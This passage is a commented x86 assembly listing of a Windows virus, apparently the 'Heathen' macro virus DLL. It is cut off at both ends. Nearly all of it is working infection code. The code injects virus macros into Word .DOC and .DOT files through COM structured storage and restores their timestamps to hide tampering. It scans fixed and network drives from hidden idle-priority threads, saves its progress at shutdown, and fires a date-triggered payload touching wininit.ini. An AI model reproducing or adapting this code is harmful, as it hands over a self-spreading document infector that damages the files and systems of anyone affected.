call [eax+IStream_Interface.Seek] ; go to start of stream
|
|
push dword ptr [esp+1Ch+ScanDataSize] ; size of actual ScanData
|
|
call alloc_memory ; reserve memory for those structures
|
|
pop ecx
|
|
mov esi, eax
|
|
test esi, esi
|
|
jz short error41 ; error allocating memory
|
|
push 0
|
|
push dword ptr [esp+20h+ScanDataSize] ; size of ScanData
|
|
push esi ; buffer
|
|
mov eax, [esp+28h+IStream1]
|
|
push eax
|
|
mov edx, [eax]
|
|
call [edx+IStream_Interface.Read] ; read SCanData
|
|
mov ecx, [esi] ; get disk drive od Directory where it was stopped
|
|
mov ds:Drive, ecx ; save it to continue in that Directory
|
|
lea ebx, [esi+4]
|
|
jmp short CreateList
|
|
; ---------------------------------------------------------------------------
|
|
|
|
CreateList2:
|
|
push ebx ; offset of directory name
|
|
push offset DirectoryList ; directory list
|
|
call AddDirectorytoList ; add this directory to DirectoryList
|
|
add esp, 8
|
|
test eax, eax
|
|
jz short error42 ; exit on error
|
|
push ebx
|
|
call API_lstrlenA ; get size of directory name
|
|
inc eax
|
|
add ebx, eax ; point to next directory
|
|
|
|
CreateList:
|
|
cmp dword ptr [ebx], 0FFFFFFFFh ; end of Directories?
|
|
jnz short CreateList2 ; not yet
|
|
|
|
error42:
|
|
push esi
|
|
call free_memory ; free memory of ScanData, although DirectoryList structures remain in memory to work with them
|
|
pop ecx
|
|
|
|
error41:
|
|
mov eax, [esp+1Ch+IStream1]
|
|
push eax
|
|
mov edx, [eax]
|
|
call [edx+IStream_Interface.Release] ; close stream
|
|
|
|
error40:
|
|
add esp, 14h
|
|
pop esi
|
|
pop ebx
|
|
retn
|
|
InitDirectoryList endp
|
|
|
|
|
|
; --------------- S U B R O U T I N E ---------------------------------------
|
|
|
|
|
|
UpdateScanData proc near
|
|
|
|
IStorage= dword ptr -13Ch
|
|
IStream_ScanData= dword ptr -138h
|
|
EndMark= byte ptr -134h
|
|
DirectoryName= byte ptr -130h
|
|
|
|
push ebx
|
|
add esp, 0FFFFFEC8h
|
|
push esp ; &IStorage (esp+13Ch+IStorage)
|
|
push 0 ; zero (reserved)
|
|
push 0 ; NULL
|
|
push 11h ; STGM_WRITE + STGM_SHARE_EXCLUSIVE
|
|
push 0 ; NULL
|
|
push offset UNICODE_HeathenVDO
|
|
call API_StgOpenStorage ; open Storage heathen.vdo
|
|
mov ebx, eax ; EBX = 0 if no errors
|
|
test ebx, ebx
|
|
jnz error60
|
|
lea eax, [esp+13Ch+IStream_ScanData] ; &Istream_ScanData
|
|
push eax
|
|
push 0 ; zero (reserved)
|
|
push 0 ; zero (reserved)
|
|
push 1011h ; STGM_CREATE + STGM_SHARE_EXCLUSIVE + STGM_WRITE
|
|
push offset aScandata ; name of stream
|
|
mov edx, [esp+150h+IStorage]
|
|
push edx
|
|
mov ecx, [edx]
|
|
call [ecx+IStorage_Interface.CreateStream] ; open SCanData stream
|
|
mov ebx, eax
|
|
test ebx, ebx
|
|
jnz short error62
|
|
mov dword ptr [esp+13Ch+EndMark], 0FFFFFFFFh ; indicate "end of directories"
|
|
push 0 ; NULL = not interested in number of bytes actually written to stream
|
|
push 4 ; number of bytes to write to stream
|
|
push offset Drive ; drive unit that we are currently scanning
|
|
mov eax, [esp+148h+IStream_ScanData]
|
|
push eax
|
|
mov edx, [eax]
|
|
call [edx+IStream_Interface.Write] ; IStream:Write
|
|
or ebx, eax ; if errors, EBX will be different of zero
|
|
jmp short check_more_directories
|
|
; ---------------------------------------------------------------------------
|
|
|
|
get_more_directories:
|
|
lea ecx, [esp+13Ch+DirectoryName]
|
|
push ecx
|
|
push offset DirectoryList
|
|
call DeleteDirectoryfromList ; get next directory from list (and free it from list)
|
|
add esp, 8
|
|
push 0 ; NULL = not interested in number of bytes actually written to stream
|
|
lea eax, [esp+140h+DirectoryName]
|
|
push eax
|
|
call API_lstrlenA
|
|
inc eax ; one byte more, to include be an ASCIIZ string
|
|
push eax ; number of bytes to write to stream
|
|
lea edx, [esp+144h+DirectoryName] ; name of directory
|
|
push edx
|
|
mov ecx, [esp+148h+IStream_ScanData]
|
|
push ecx
|
|
mov eax, [ecx]
|
|
call [eax+IStream_Interface.Write] ; write directory name to stream
|
|
or ebx, eax
|
|
|
|
check_more_directories:
|
|
cmp ds:DirectoryList.DirectoryName, 0 ; more directories in List?
|
|
jnz short get_more_directories ; yeah! go for them!
|
|
push 0 ; NULL = not interested in number of bytes actually written to stream
|
|
push 4 ; number of bytes to write to stream
|
|
lea edx, [esp+144h+EndMark] ; offset of 0xFFFFFFFF to be written at end of directories
|
|
push edx
|
|
mov ecx, [esp+148h+IStream_ScanData]
|
|
push ecx
|
|
mov eax, [ecx]
|
|
call [eax+IStream_Interface.Write] ; write mark
|
|
or ebx, eax
|
|
mov edx, [esp+13Ch+IStream_ScanData] ; IStream
|
|
push edx
|
|
mov ecx, [edx]
|
|
call [ecx+IStream_Interface.Release] ; close stream
|
|
|
|
error62:
|
|
test ebx, ebx
|
|
jz short error61 ; jump if no errors!
|
|
mov eax, [esp+13Ch+IStorage]
|
|
push eax
|
|
mov edx, [eax]
|
|
call [edx+IStorage_Interface.Revert] ; discard all changes!!!
|
|
|
|
error61:
|
|
mov ecx, [esp+13Ch+IStorage]
|
|
push ecx
|
|
mov eax, [ecx]
|
|
call [eax+IStorage_Interface.Release] ; close IStorage
|
|
|
|
error60:
|
|
add esp, 138h
|
|
pop ebx
|
|
retn
|
|
UpdateScanData endp
|
|
|
|
|
|
; --------------- S U B R O U T I N E ---------------------------------------
|
|
|
|
; Attributes: bp-based frame
|
|
|
|
InfectDocument proc near
|
|
|
|
Buffer= byte ptr -4BCh
|
|
STATG= STATG_STRUC ptr -2BCh
|
|
UNICODE_FILENAME= byte ptr -274h
|
|
MacrosOffset= dword ptr -1Ch
|
|
SeekOffset= qword ptr -14h
|
|
IStream2= dword ptr -0Ch
|
|
IStream1= dword ptr -8
|
|
IStorage1= dword ptr -4
|
|
ASCIIZ_FILENAME= dword ptr 8
|
|
|
|
push ebp
|
|
mov ebp, esp
|
|
add esp, 0FFFFFB44h
|
|
cmp ds:may14h, 0 ; may 14th?
|
|
push ebx
|
|
push esi
|
|
mov ebx, [ebp+ASCIIZ_FILENAME]
|
|
jz short Infect_This_File ; jump if not may 14th
|
|
xor ecx, ecx
|
|
xor eax, eax
|
|
jmp short check_directory_name
|
|
; ---------------------------------------------------------------------------
|
|
|
|
next_character:
|
|
movsx edx, dl
|
|
cmp edx, ''
|
|
jnz short next_character2
|
|
lea ecx, [eax+1] ; ECX = offset after "" (offset of name of subdirectory or file)
|
|
|
|
next_character2:
|
|
inc eax ; next byte
|
|
|
|
check_directory_name:
|
|
mov dl, [ebx+eax]
|
|
test dl, dl
|
|
jnz short next_character ; search to end of directory name
|
|
movsx eax, byte ptr [ebx+ecx] ; get first character of subdirectory name
|
|
cmp eax, '_'
|
|
jz short Infect_This_File ; on mat 14th... only infects files starting with "_" !!!
|
|
xor eax, eax
|
|
jmp error70
|
|
; ---------------------------------------------------------------------------
|
|
|
|
Infect_This_File:
|
|
xor esi, esi ; ESI = 0 means infection not successful
|
|
lea eax, [ebp+UNICODE_FILENAME]
|
|
push eax
|
|
push ebx
|
|
call asciiz_to_unicode ; convert it to unicode string
|
|
add esp, 8
|
|
lea edx, [ebp+IStorage1] ; &IStorage
|
|
push edx
|
|
push 0 ; zero (reserved)
|
|
push 0 ; NULL
|
|
push 12h ; STGM_READWRITE + STGM_SHARE_EXCLUSIVE
|
|
push 0 ; NULL
|
|
lea ecx, [ebp+UNICODE_FILENAME]
|
|
push ecx
|
|
call API_StgOpenStorage ; open document
|
|
test eax, eax
|
|
jnz error71 ; exit on error
|
|
push 1
|
|
lea eax, [ebp+STATG] ; where STATG structured will be returned
|
|
push eax
|
|
mov edx, [ebp+IStorage1] ; IStorage of the document
|
|
push edx
|
|
mov ecx, [edx]
|
|
call [ecx+IStorage_Interface.Stat] ; get STATG structure for this storage object
|
|
lea eax, [ebp+IStream1] ; &IStream1
|
|
push eax
|
|
push 0 ; zero (reserved)
|
|
push 12h ; STGM_READWRITE + STGM_SHARE_EXCLUSIVE
|
|
push 0 ; zero (reserved)
|
|
push offset aWorddocument ; name of stream "WordDocument"
|
|
mov edx, [ebp+IStorage1]
|
|
push edx
|
|
mov ecx, [edx]
|
|
call [ecx+IStorage_Interface.OpenStream] ; open stream
|
|
test eax, eax
|
|
jnz error72
|
|
push 0 ; NULL = not interested in number of bytes actually read from stream
|
|
lea eax, [ebp+Buffer]
|
|
push 200h ; number of bytes to read
|
|
push eax ; buffer
|
|
mov edx, [ebp+IStream1] ; IStream
|
|
push edx
|
|
mov ecx, [edx]
|
|
call [ecx+IStream_Interface.Read] ; read WordDocument header
|
|
cmp dword ptr [ebp+Buffer+15Eh], 3
|
|
jge error73 ; exit if it already has macros
|
|
mov ax, 31h ; select 1Table
|
|
test [ebp+Buffer+0Bh], 2 ; 0Table or 1Table?
|
|
jnz short select_1Table
|
|
dec eax ; select 0Table
|
|
|
|
select_1Table:
|
|
mov word ptr ds:xTable, ax
|
|
lea edx, [ebp+IStream2] ; &IStream2
|
|
push edx
|
|
push 0 ; zero (reserved)
|
|
push 11h ; STGM_WRITE + STGM_SHARE_EXCLUSIVE
|
|
push 0 ; zero (reserved)
|
|
push offset xTable ; name of stream: "0Table" or "1Table"
|
|
mov ecx, [ebp+IStorage1]
|
|
push ecx
|
|
mov eax, [ecx]
|
|
call [eax+IStorage_Interface.OpenStream] ; open stream
|
|
test eax, eax
|
|
jnz error73
|
|
push 1 ; STGMOVE_COPY (we want a copy!)
|
|
push offset aMacros ; name of element in destination
|
|
push [ebp+IStorage1] ; destination IStorage object (the document to be infected!)
|
|
push offset aMacros ; name of element to be moved
|
|
mov edx, ds:IStorage ; source IStorage (Heathen.vdo)
|
|
push edx
|
|
mov ecx, [edx]
|
|
call [ecx+IStorage_Interface.MoveElementTo] ; copy macros!
|
|
test eax, eax
|
|
jnz error74 ; exit on error
|
|
mov dword ptr [ebp+SeekOffset], 0
|
|
mov dword ptr [ebp+SeekOffset+4], 0
|
|
lea eax, [ebp+MacrosOffset] ; here will be returned end of xTable, where virus will copy its macros
|
|
push eax
|
|
push 2 ; STREAM_SEEK_END
|
|
push dword ptr [ebp+SeekOffset+4]
|
|
push dword ptr [ebp+SeekOffset]
|
|
mov ecx, [ebp+IStream2]
|
|
push ecx
|
|
mov eax, [ecx]
|
|
call [eax+IStream_Interface.Seek] ; seek to end of stream xTable
|
|
push 0
|
|
push 0
|
|
push dword ptr ds:HeathenMacrosSize+4
|
|
push dword ptr ds:HeathenMacrosSize ; size of virus macros (that were stored in WordDocument stream of Heathen.vdo)
|
|
push [ebp+IStream2] ; destination Stream (xTable stream of document to be infected!)
|
|
mov ecx, ds:IStream ; source stream (WordDocument of Heathen.vdo, where virus macros are stored!!!))
|
|
push ecx
|
|
mov eax, [ecx]
|
|
call [eax+IStream_Interface.CopyTo] ; copy virus macros at end of xTable
|
|
test eax, eax
|
|
jnz short error75
|
|
mov edx, [ebp+MacrosOffset] ; EDX = offset of macros in xTable
|
|
mov ecx, dword ptr ds:HeathenMacrosSize ; ECX = size of macros
|
|
mov dword ptr [ebp+Buffer+15Ah], edx ; fcCmds = offset in xTable stream of macros
|
|
mov dword ptr [ebp+Buffer+15Eh], ecx ; lcbCmds = size of macros
|
|
push 0 ; NULL (dont return new position)
|
|
push 0 ; STREAM_SEEK_SET
|
|
push dword ptr [ebp+SeekOffset+4] ; NULL
|
|
push dword ptr [ebp+SeekOffset] ; NULL
|
|
mov edx, [ebp+IStream1]
|
|
push edx
|
|
mov ecx, [edx]
|
|
call [ecx+IStream_Interface.Seek] ; set stream pointer to beginning of WordDocument
|
|
push 0
|
|
lea eax, [ebp+Buffer]
|
|
push 200h ; size of Header
|
|
push eax
|
|
mov edx, [ebp+IStream1]
|
|
push edx
|
|
mov ecx, [edx]
|
|
call [ecx+IStream_Interface.Write] ; write WordDocument Header
|
|
mov esi, 1
|
|
|
|
error75:
|
|
push 0 ; NULL (dont return new position)
|
|
push 0 ; STREAM_SEEK_SET
|
|
push dword ptr [ebp+SeekOffset+4]
|
|
push dword ptr [ebp+SeekOffset]
|
|
mov edx, ds:IStream
|
|
push edx
|
|
mov ecx, [edx]
|
|
call [ecx+IStream_Interface.Seek] ; set stream pointer to beggining of WordDocument stream in Heathen.vdo
|
|
|
|
error74:
|
|
mov eax, [ebp+IStream2]
|
|
push eax
|
|
mov edx, [eax]
|
|
call [edx+IStream_Interface.Release] ; close stream xTable
|
|
|
|
error73:
|
|
mov ecx, [ebp+IStream1]
|
|
push ecx
|
|
mov eax, [ecx]
|
|
call [eax+IStream_Interface.Release] ; close stream WordDocument (of infected document)
|
|
|
|
error72:
|
|
mov edx, [ebp+IStorage1]
|
|
push edx
|
|
mov ecx, [edx]
|
|
call [ecx+IStorage_Interface.Release] ; close IStorage object (infected document)
|
|
test esi, esi
|
|
jz short error71 ; exit if infection was not successful
|
|
push 0 ; NULL
|
|
push 0 ; NULL
|
|
push 3 ; CREATE_ALWAYS
|
|
push 0 ; NULL = file cannot be inherited
|
|
push 0 ; 0 = prevent file from being shared
|
|
push 40000000h ; GENERIC_WRITE
|
|
push ebx
|
|
call API_CreateFileA ; open document file
|
|
mov ebx, eax
|
|
lea eax, [ebp+STATG.mtime]
|
|
push eax
|
|
lea edx, [ebp+STATG.atime]
|
|
push edx
|
|
lea ecx, [ebp+STATG.ctime]
|
|
push ecx
|
|
push ebx
|
|
call API_SetFileTime ; restore filetime
|
|
push ebx
|
|
call API_CloseHandle ; close file handle
|
|
|
|
error71:
|
|
mov eax, esi
|
|
|
|
error70:
|
|
pop esi
|
|
pop ebx
|
|
mov esp, ebp
|
|
pop ebp
|
|
retn
|
|
InfectDocument endp
|
|
|
|
|
|
; --------------- S U B R O U T I N E ---------------------------------------
|
|
|
|
|
|
SearchDirectories proc near
|
|
|
|
RootPathName= byte ptr -724h
|
|
DocumentName= byte ptr -71Ch
|
|
DirectoryName= byte ptr -5F0h
|
|
File_Search_Pattern= byte ptr -4C4h
|
|
WIN32_FIND_DATA= WIN32_FIND_DATA_STRUC ptr -398h
|
|
SubdirectoryName= byte ptr -258h
|
|
FileName= byte ptr -12Ch
|
|
|
|
push ebx
|
|
push esi
|
|
add esp, 0FFFFF8DCh
|
|
cmp ds:DirectoryList.NextDirectorySTRUC, 0 ; end of directories?
|
|
lea esi, [esp+724h+WIN32_FIND_DATA] ; ESI = WIN32_FIND_DATA
|
|
jz short directories_end ; yes, no more directories
|
|
lea eax, [esp+724h+DocumentName]
|
|
push eax
|
|
push offset DirectoryList.NextDirectorySTRUC ; next directory
|
|
call DeleteDirectoryfromList ; get next document to infect and free it from List
|
|
add esp, 8
|
|
lea edx, [esp+724h+DocumentName]
|
|
push edx
|
|
call InfectDocument ; infect document (unless its a directory name)
|
|
pop ecx
|
|
mov eax, 1
|
|
jmp error80
|
|
; ---------------------------------------------------------------------------
|
|
|
|
directories_end:
|
|
cmp ds:DirectoryList.DirectoryName, 0 ; finished all directories of current drive in ScanData list?
|
|
jnz short Search_Documents ; not yet
|
|
call API_GetLogicalDrives ; get info on logical drives (bits in EAX set to one)
|
|
|
|
invalid_drive:
|
|
inc ds:Drive ; next drive
|
|
cmp ds:Drive, 1Ah ; 'Z'?
|
|
jle short CheckDrive
|
|
xor edx, edx
|
|
mov ds:Drive, edx ; scan again all drives!
|
|
|
|
CheckDrive:
|
|
cmp ds:Drive, 2 ; (2 = C:)
|
|
jl short invalid_drive ; drives A: and B: will not be infected!
|
|
mov ecx, ds:Drive
|
|
mov edx, 1
|
|
shl edx, cl
|
|
test edx, eax
|
|
jz short invalid_drive ; drive not present!
|
|
push offset aRoot
|
|
lea eax, [esp+728h+RootPathName]
|
|
push eax
|
|
call API_lstrcpyA ; "A:"
|
|
mov cl, byte ptr ds:Drive
|
|
add [esp+724h+RootPathName], cl ; set drive letter
|
|
push esp ; &RootPathName
|
|
call API_GetDriveTypeA ; get info on logical drive
|
|
test eax, eax ; DRIVE_UNKNOWN
|
|
jz short Add_Drive_Path
|
|
cmp eax, 3 ; DRIVE_FIXED
|
|
jz short Add_Drive_Path
|
|
cmp eax, 4 ; DRIVE_REMOTE
|
|
jnz short Continue_Later ; exit with error free (will continue later!)
|
|
|
|
Add_Drive_Path:
|
|
push esp ; &RootPathName
|
|
push offset DirectoryList
|
|
call AddDirectorytoList ; add root directory to List
|
|
add esp, 8
|
|
jmp error80
|
|
; ---------------------------------------------------------------------------
|
|
|
|
Continue_Later:
|
|
mov eax, 1 ; EAX != 0 --> no errors
|
|
jmp error80
|
|
; ---------------------------------------------------------------------------
|
|
|
|
Search_Documents:
|
|
lea edx, [esp+724h+DirectoryName]
|
|
push edx
|
|
push offset DirectoryList
|
|
call DeleteDirectoryfromList ; get a directory from list to search files (and free it from list)
|
|
add esp, 8
|
|
lea ecx, [esp+724h+DirectoryName] ; path to search files
|
|
push ecx
|
|
push offset aSearchPattern
|
|
lea eax, [esp+72Ch+File_Search_Pattern]
|
|
push eax
|
|
call API_wsprintfA ; "drive:directory*.*"
|
|
add esp, 0Ch
|
|
push esi ; ESI = WIN32_FIND_DATA
|
|
lea edx, [esp+728h+File_Search_Pattern]
|
|
push edx
|
|
call API_FindFirstFileA ; find files!
|
|
mov ebx, eax
|
|
cmp ebx, 0FFFFFFFFh
|
|
jz error81 ; error
|
|
|
|
Check_File:
|
|
test byte ptr [esi+WIN32_FIND_DATA_STRUC.dwFileAttributes], 10h ; FILE_ATTRIBUTE_DIRECTORY?
|
|
jz short File_Found
|
|
push offset a__
|
|
lea eax, [esi+WIN32_FIND_DATA_STRUC.cFileName]
|
|
push eax
|
|
call API_lstrcmpA
|
|
test eax, eax
|
|
jz short File_Found ; jump if ".."
|
|
push offset a_
|
|
lea edx, [esi+WIN32_FIND_DATA_STRUC.cFileName]
|
|
push edx
|
|
call API_lstrcmpA
|
|
test eax, eax
|
|
jz short File_Found ; jump if "."
|
|
lea ecx, [esi+WIN32_FIND_DATA_STRUC.cFileName]
|
|
push ecx ; name of found subdirectory
|
|
lea eax, [esp+728h+DirectoryName]
|
|
push eax
|
|
push offset aSS1 ; "%s%s"
|
|
lea edx, [esp+730h+SubdirectoryName]
|
|
push edx
|
|
call API_wsprintfA ; "drive:directorysubdirectory"
|
|
add esp, 10h
|
|
lea ecx, [esp+724h+SubdirectoryName]
|
|
push ecx
|
|
push offset DirectoryList
|
|
call AddDirectorytoList ; add it to List
|
|
add esp, 8
|
|
test eax, eax
|
|
jnz short Search_More_Files ; search more files
|
|
xor eax, eax ; error
|
|
jmp error80
|
|
; ---------------------------------------------------------------------------
|
|
jmp short Search_More_Files
|
|
; ---------------------------------------------------------------------------
|
|
|
|
File_Found:
|
|
lea edx, [esi+WIN32_FIND_DATA_STRUC.cFileName]
|
|
push edx
|
|
call UpperCase ; convert all letters to uppercase
|
|
pop ecx
|
|
xor eax, eax ; EAX = index in filename
|
|
jmp short Check_File2
|
|
; ---------------------------------------------------------------------------
|
|
|
|
search_end_of_filename:
|
|
inc eax
|
|
|
|
Check_File2:
|
|
cmp [esi+eax+WIN32_FIND_DATA_STRUC.cFileName], 0
|
|
jnz short search_end_of_filename ; get to end of filename
|
|
lea edx, [esi+WIN32_FIND_DATA_STRUC.dwReserved1]
|
|
add eax, edx ; EAX = pointer to 4 bytes before end of filename
|
|
mov edx, [eax]
|
|
cmp edx, 434F442Eh ; ".DOC"
|
|
jz short Target_Extensions
|
|
cmp edx, 544F442Eh ; ".DOT"
|
|
jnz short Search_More_Files
|
|
|
|
Target_Extensions:
|
|
lea eax, [esi+WIN32_FIND_DATA_STRUC.cFileName]
|
|
push eax
|
|
lea ecx, [esp+728h+DirectoryName]
|
|
push ecx
|
|
push offset aSS2
|
|
lea eax, [esp+730h+FileName]
|
|
push eax
|
|
call API_wsprintfA ; "drive:directorydocument"
|
|
add esp, 10h
|
|
lea edx, [esp+724h+FileName]
|
|
push edx
|
|
push offset DirectoryList.NextDirectorySTRUC
|
|
call AddDirectorytoList ; add document to List
|
|
add esp, 8
|
|
test eax, eax
|
|
jnz short Search_More_Files
|
|
xor eax, eax ; error
|
|
jmp short error80
|
|
; ---------------------------------------------------------------------------
|
|
|
|
Search_More_Files:
|
|
push esi
|
|
push ebx
|
|
call API_FindNextFileA ; search more files/subdirectories
|
|
test eax, eax
|
|
jnz Check_File ; check this file
|
|
push ebx
|
|
call API_FindClose ; close search handle
|
|
|
|
error81:
|
|
mov eax, 1 ; means error free :-)
|
|
|
|
error80:
|
|
add esp, 724h ; (EAX = 0 --> some error occured)
|
|
pop esi
|
|
pop ebx
|
|
retn
|
|
SearchDirectories endp
|
|
|
|
|
|
; --------------- S U B R O U T I N E ---------------------------------------
|
|
|
|
; Attributes: bp-based frame
|
|
|
|
THREAD2_EntryPoint proc near
|
|
push ebp
|
|
mov ebp, esp
|
|
|
|
continue_search:
|
|
call SearchDirectories
|
|
test eax, eax
|
|
jz short error30 ; EAX=0 means that some error occured
|
|
push 3E8h ; timeout interval=1000 miliseconds = 1 second
|
|
push ds:EventHandle
|
|
call API_WaitForSingleObject ; wait for the event to be signaled
|
|
cmp eax, 102h ; WAIT_TIMEOUT?
|
|
jz short continue_search ; in case of timeout, repeat process. Else finish thread.
|
|
|
|
error30:
|
|
xor eax, eax
|
|
pop ebp
|
|
retn 4 ; exit thread
|
|
THREAD2_EntryPoint endp
|
|
|
|
|
|
; --------------- S U B R O U T I N E ---------------------------------------
|
|
|
|
; Attributes: bp-based frame
|
|
|
|
WndProc proc near
|
|
|
|
HWND= dword ptr 8
|
|
UINT= dword ptr 0Ch
|
|
WPARAM= dword ptr 10h
|
|
LPARAM= dword ptr 14h
|
|
|
|
push ebp
|
|
mov ebp, esp
|
|
mov edx, [ebp+WPARAM] ; wparam
|
|
mov eax, [ebp+UINT] ; message identifier
|
|
mov ecx, eax
|
|
sub ecx, 16h ; WM_ENDSESSION informs the application whether the Windows session is ending)
|
|
jnz short calldefaultWndProc ; go to default WndProc, unless WM_ENDSESSION is received
|
|
test edx, edx
|
|
jz short messageprocessed ; wparam=FALSE=session is NOT being ended
|
|
push ds:EventHandle
|
|
call API_SetEvent ; set state of event object as signaled, so API WaitSingleObject returns!
|
|
push 0FFFFFFFFh
|
|
push ds:Thread2_Handle
|
|
call API_WaitForSingleObject ; wait to signaled state of the Thread2, that is, when thread finishes
|
|
call UpdateScanData ; write to disk the list of currently scanned directories
|
|
mov eax, ds:IStream
|
|
push eax
|
|
mov edx, [eax]
|
|
call [edx+IStream_Interface.Release] ; close stream WordDocument (OnILockBytes)
|
|
mov eax, ds:IStorage
|
|
push eax
|
|
mov edx, [eax]
|
|
call [edx+IStorage_Interface.Release] ; close IStorage (OnIlockBytes)
|
|
mov ecx, ds:ILockBytes
|
|
push ecx
|
|
mov eax, [ecx]
|
|
call [eax+ILockBytes_Interface.Release] ; release ILockBytes interface
|
|
cmp ds:MoreThanHalfYear, 0
|
|
jz short messageprocessed ; skip if less than 183 days since virus installation
|
|
call PAYLOAD ; lets play with wininit.ini :-D
|
|
jmp short messageprocessed
|
|
; ---------------------------------------------------------------------------
|
|
|
|
calldefaultWndProc:
|
|
push [ebp+LPARAM] ; lparam
|
|
push edx ; wparam
|
|
push eax ; uint
|
|
push [ebp+HWND] ; hwnd
|
|
call API_DefWindowProcA ; call default WndProc
|
|
jmp short Exit_WndProc
|
|
; ---------------------------------------------------------------------------
|
|
|
|
messageprocessed:
|
|
xor eax, eax ; indicate that the message has been procesed
|
|
|
|
Exit_WndProc:
|
|
pop ebp
|
|
retn 10h
|
|
WndProc endp
|
|
|
|
|
|
; --------------- S U B R O U T I N E ---------------------------------------
|
|
|
|
; Attributes: bp-based frame
|
|
|
|
THREAD1_EntryPoint proc near
|
|
|
|
Message= dword ptr -48h
|
|
WndClass= WNDCLASS_STRUC ptr -2Ch
|
|
Thread2_ID= dword ptr -4
|
|
DllHandle= dword ptr 8
|
|
|
|
push ebp
|
|
mov ebp, esp
|
|
add esp, 0FFFFFFB8h
|
|
push ebx
|
|
call InitVariables ; init some variables and check date (for payload)
|
|
test eax, eax
|
|
jz Exit_THREAD1 ; exit on error
|
|
push offset MemoryAllocator
|
|
push 1 ; must be 1
|
|
call API_CoGetMalloc ; get IMalloc interface
|
|
call InitDirectoryList ; initialize directory list
|
|
xor eax, eax
|
|
xor edx, edx
|
|
mov [ebp+WndClass.style], eax
|
|
xor ecx, ecx
|
|
mov [ebp+WndClass.lpfnWndProc], offset WndProc
|
|
mov [ebp+WndClass.cbClsExtra], edx
|
|
mov [ebp+WndClass.cbWndExtra], ecx
|
|
mov eax, [ebp+DllHandle] ; argument given to the thread
|
|
mov [ebp+WndClass.hInstance], eax
|
|
push 7F00h ; IDI_APPLICATION (default application icon)
|
|
push 0 ; NULL
|
|
call API_LoadIconA ; return handle to the application icon
|
|
mov [ebp+WndClass.hIcon], eax
|
|
push 7F00h ; IDC_ARROW
|
|
push 0
|
|
call API_LoadCursorA ; return handle to the application cursor
|
|
mov [ebp+WndClass.hCursor], eax
|
|
push 4 ; BLACK_BRUSH
|
|
call API_GetStockObject ; retrieves a handle to one of the predefined stock pens
|
|
mov [ebp+WndClass.hbrBackground], eax
|
|
xor edx, edx
|
|
mov [ebp+WndClass.lpszMenuName], edx ; NULL=windows belonging to this class have no default menu
|
|
lea ecx, [ebp+WndClass] ; address of structure with class data
|
|
mov [ebp+WndClass.lpszClassName], offset aHeathenwc ; lpszClassName
|
|
push ecx
|
|
call API_RegisterClassA ; registers a window class for subsequent calls to CreateWindow/CreateWindowEx
|
|
test ax, ax
|
|
jz Exit_THREAD1 ; error
|
|
push 0 ; lpParam=NULL
|
|
push [ebp+DllHandle] ; application instance
|
|
push 0 ; NULL
|
|
push 0 ; NULL
|
|
push 64h ; height
|
|
push 64h ; width
|
|
push 80000000h ; CW_USEDEFAULT
|
|
push 80000000h ; CW_USEDEFAULT
|
|
push 80000000h ; CW_USEDEFAULT
|
|
push 0
|
|
push offset aHeathenwc ; pointer to registered class name
|
|
push 0
|
|
call API_CreateWindowExA ; create window
|
|
test eax, eax
|
|
jz short Exit_THREAD1 ; error
|
|
lea eax, [ebp+Thread2_ID] ; &Thread2_ID
|
|
push eax
|
|
push 4 ; CREATE_SUSPENDED
|
|
push 0 ; argument for new thread
|
|
push offset THREAD2_EntryPoint ; LPTHREAD_START_ROUTINE
|
|
push 10000h ; stack size
|
|
push 0 ; NULL = Thread attributes
|
|
call API_CreateThread ; create Thread2
|
|
mov ebx, eax
|
|
mov ds:Thread2_Handle, ebx ; save thread2 handle
|
|
test ebx, ebx
|
|
jz short Exit_THREAD1 ; error
|
|
push offset aHeathenIsHere ; event object name
|
|
push 0 ; Initial State = nonsignaled
|
|
push 1 ; it requires to manually reset the state to nonsignaled
|
|
push 0 ; NULL = handle cannot be inherited
|
|
call API_CreateEventA ; create an event object
|
|
mov ds:EventHandle, eax ; save event handle
|
|
push 0FFFFFFF1h ; THREAD_BASE_IDLE
|
|
push ds:Thread2_Handle
|
|
call API_SetThreadPriority ; set Thread2 priority
|
|
push ds:Thread2_Handle
|
|
call API_ResumeThread ; resume thread! :-)
|
|
jmp short getmessage
|
|
; ---------------------------------------------------------------------------
|
|
|
|
dispatchmessage:
|
|
lea eax, [ebp+Message]
|
|
push eax
|
|
call API_DispatchMessageA ; dispatch message
|
|
|
|
getmessage:
|
|
push 0 ; wMsgFilterMax=NULL (no range filtering is performed)
|
|
push 0 ; wMsgFilterMin=NULL (no range filtering is performed)
|
|
push 0 ; NULL=retrieves messages for any window that belongs to the calling thread
|
|
lea edx, [ebp+Message]
|
|
push edx
|
|
call API_GetMessageA ; retrieves a message from the calling thread's message queue and places it in the specified structure
|
|
test eax, eax
|
|
jnz short dispatchmessage ; do it again until the function retrieves the WM_QUIT message
|
|
|
|
Exit_THREAD1:
|
|
xor eax, eax
|
|
pop ebx
|
|
mov esp, ebp
|
|
pop ebp
|
|
retn 4 ; end thread
|
|
THREAD1_EntryPoint endp
|
|
|
|
|
|
; --------------- S U B R O U T I N E ---------------------------------------
|
|
|
|
; Attributes: bp-based frame
|
|
|
|
DllMain proc near
|
|
|
|
Thread1_ID= byte ptr -4
|
|
hinstDLL= dword ptr 8
|
|
fdwReason= dword ptr 0Ch
|
|
|
|
push ebp
|
|
mov ebp, esp
|
|
push ecx
|
|
push ebx
|
|
cmp [ebp+fdwReason], 1 ; DLL_PROCESS_ATTACH?
|
|
jnz short exit_Dllmain ; no
|
|
lea eax, [ebp+Thread1_ID]
|
|
push eax ; &Thread1_ID
|
|
push 4 ; CREATE_SUSPENDED
|
|
push [ebp+hinstDLL] ; argument for new thread (=Dll module handle)
|
|
push offset THREAD1_EntryPoint ; LPTHREAD_START_ROUTINE
|
|
push 10000h ; size of stack
|
|
push 0 ; NULL = thread attributes
|
|
call API_CreateThread ; create Thread1
|
|
mov ebx, eax
|
|
test ebx, ebx
|
|
jz short exit_Dllmain ; exit on error
|
|
push 0FFFFFFF1h ; THREAD_BASE_IDLE
|
|
push ebx ; Thread1 handle
|
|
call API_SetThreadPriority ; set Thread1 priority
|
|
push ebx ; Thread1 handle
|
|
call API_ResumeThread ; resume thread! :-)
|
|
|
|
exit_Dllmain:
|
|
mov eax, 1 ; TRUE = DllMain succeeds
|
|
pop ebx
|
|
pop ecx
|
|
pop ebp
|
|
retn 8
|
|
DllMain endp
|
|
|
|
|
|
; --------------- S U B R O U T I N E ---------------------------------------
|
|
|
|
|
|
API_SetThreadPriority proc near
|
|
jmp ds:SetThreadPriority
|
|
API_SetThreadPriority endp
|
|
|
|
|
|
; --------------- S U B R O U T I N E ---------------------------------------
|
|
|
|
|
|
